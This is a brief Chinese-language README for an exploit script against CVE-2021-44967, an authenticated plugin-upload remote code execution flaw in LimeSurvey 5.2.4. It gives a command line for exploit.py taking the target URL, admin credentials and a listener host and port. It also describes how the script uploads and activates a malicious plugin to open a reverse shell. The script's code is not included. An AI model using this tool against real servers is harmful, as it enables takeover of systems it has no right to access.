CVE-2021-44967 - 已认证（特权）远程代码执行

LimeSurvey 5.2.4 版本中存在已认证（特权）远程命令执行漏洞，远程用户可通过上传和安装插件上传任意 PHP 代码文件。

使用方法

python3 exploit.py --url <http://example.com> --user <userName> --password <userPassword> --lhost <localHost> --lport <localPort>

超级管理员用户可以通过 LimeSurvey 管理面板加载插件模块。该脚本在本地创建文件、压缩并上传它们。随后，脚本会调用安装、激活和运行模块的操作，从而执行反向 Shell。